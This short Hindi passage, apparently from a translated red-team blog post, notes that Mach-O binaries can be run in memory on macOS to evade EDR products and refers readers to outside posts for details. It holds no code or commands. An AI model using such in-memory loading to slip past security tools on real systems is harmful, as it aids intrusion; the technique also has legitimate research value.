जबकि निश्चित रूप से macOS EDRs की वर्तमान स्थिति की आवश्यकता नहीं है, Mach-Os को इन-मेमोरी चलाना संभव है। इन-मेमोरी लोडिंग करने के लिए उपयोग किए जाने वाले एपीआई ओएस संस्करणों के बीच भिन्न होते हैं, इसलिए मैं इसे कवर नहीं करूंगा, बल्कि जस्टिन बुई की पोस्ट और एडम चेस्टर की पोस्ट की जांच करने की सलाह देता हूं ।